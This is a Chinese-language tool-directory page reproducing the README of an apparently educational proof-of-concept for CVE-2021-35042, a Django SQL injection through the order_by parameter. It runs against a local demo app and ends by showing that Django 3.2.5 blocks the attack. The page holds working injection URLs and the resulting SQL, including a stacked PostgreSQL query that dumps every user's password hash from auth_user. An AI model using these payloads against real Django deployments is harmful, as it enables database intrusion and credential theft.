Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/r4vi/cve-2021-35042
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育数据库安全
GitHubr4vi/cve-2021-35042

CVE-2021-35042

交互式概念验证,演示Django SQL注入(CVE-2021-35042),并针对SQLite和PostgreSQL数据库进行逐步利用。

查看仓库
514年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-35042

Django SQL注入漏洞

问题:探索它的可利用程度有多大?

答案:我很害怕

安装

poetry install

poetry run ./manage.py migrate

poetry run ./manage.py loaddata dummydata.json

交互式演示

poetry run ./manage.py runserver

按随机字段排序

访问 http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22 注意,?order_by 参数传递了一个原始SQL引用,指向列 "core_things_tags"."things_id"

终止第一个查询并尝试运行一些SQL

这感觉像是你能走到的极限了:http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22%20and%201);%20select%201%20as%20name%20;-- 这会关闭第一个SQL查询,转换为如下的SQL:

root@kitploit:~
SELECT "core_things"."id",
       "core_things"."name",
       COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
         LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
                                                "core_things_tags"."things_id")
GROUP BY "core_things"."id", "core_things"."name",
         ("core_things_tags"."things_id" and 1);
select 1 as name;--) ORDER BY ("core_things_tags"."things_id" and 1); select 1 as name ;--) ASC LIMIT 21; args=()

这失败了,错误如下:

root@kitploit:~
Warning at /
You can only execute one statement at a time.

这只是因为SQLite一次只能运行一个查询

重新尝试在PostgreSQL上运行第二个查询

root@kitploit:~
export DJANGO_DATABASE_URL=postgres://user:pass@localhost:5432/cve-2021-35042 # 替换为你自己的PostgreSQL服务器的有效DATABASE_URL

poetry run ./manage.py migrate

poetry run ./manage.py loaddata dummydata.json

poetry run ./manage.py createsuperuser # 按照提示操作

访问:http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22%20);%20SELECT%201%20as%20id,%20%22password%22as%20name,%201%20as%20num_tags%20from%20%22auth_user%22;--

这运行了以下SQL:

root@kitploit:~
SELECT "core_things"."id",
       "core_things"."name",
       COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
         LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
                                                "core_things_tags"."things_id")
GROUP BY "core_things"."id", ("core_things_tags"."things_id");
SELECT 1 as id, "password" as name, 1 as num_tags
from "auth_user";--) ORDER BY ("core_things_tags"."things_id" ); SELECT 1 as id, "password"as name, 1 as num_tags from "auth_user";--) ASC;

你现在基本上可以为所欲为了。这个查询窃取了每个用户的密码哈希值。

升级到无漏洞版本

现在临时升级Django

poetry shell

pip install Django==3.2.5

重新访问上面的URL,并注意它不再工作了:

root@kitploit:~
FieldError at /
Cannot resolve keyword '"core_things_tags"."things_id"' into field. Choices are: id, name, num_tags, tags
下载工具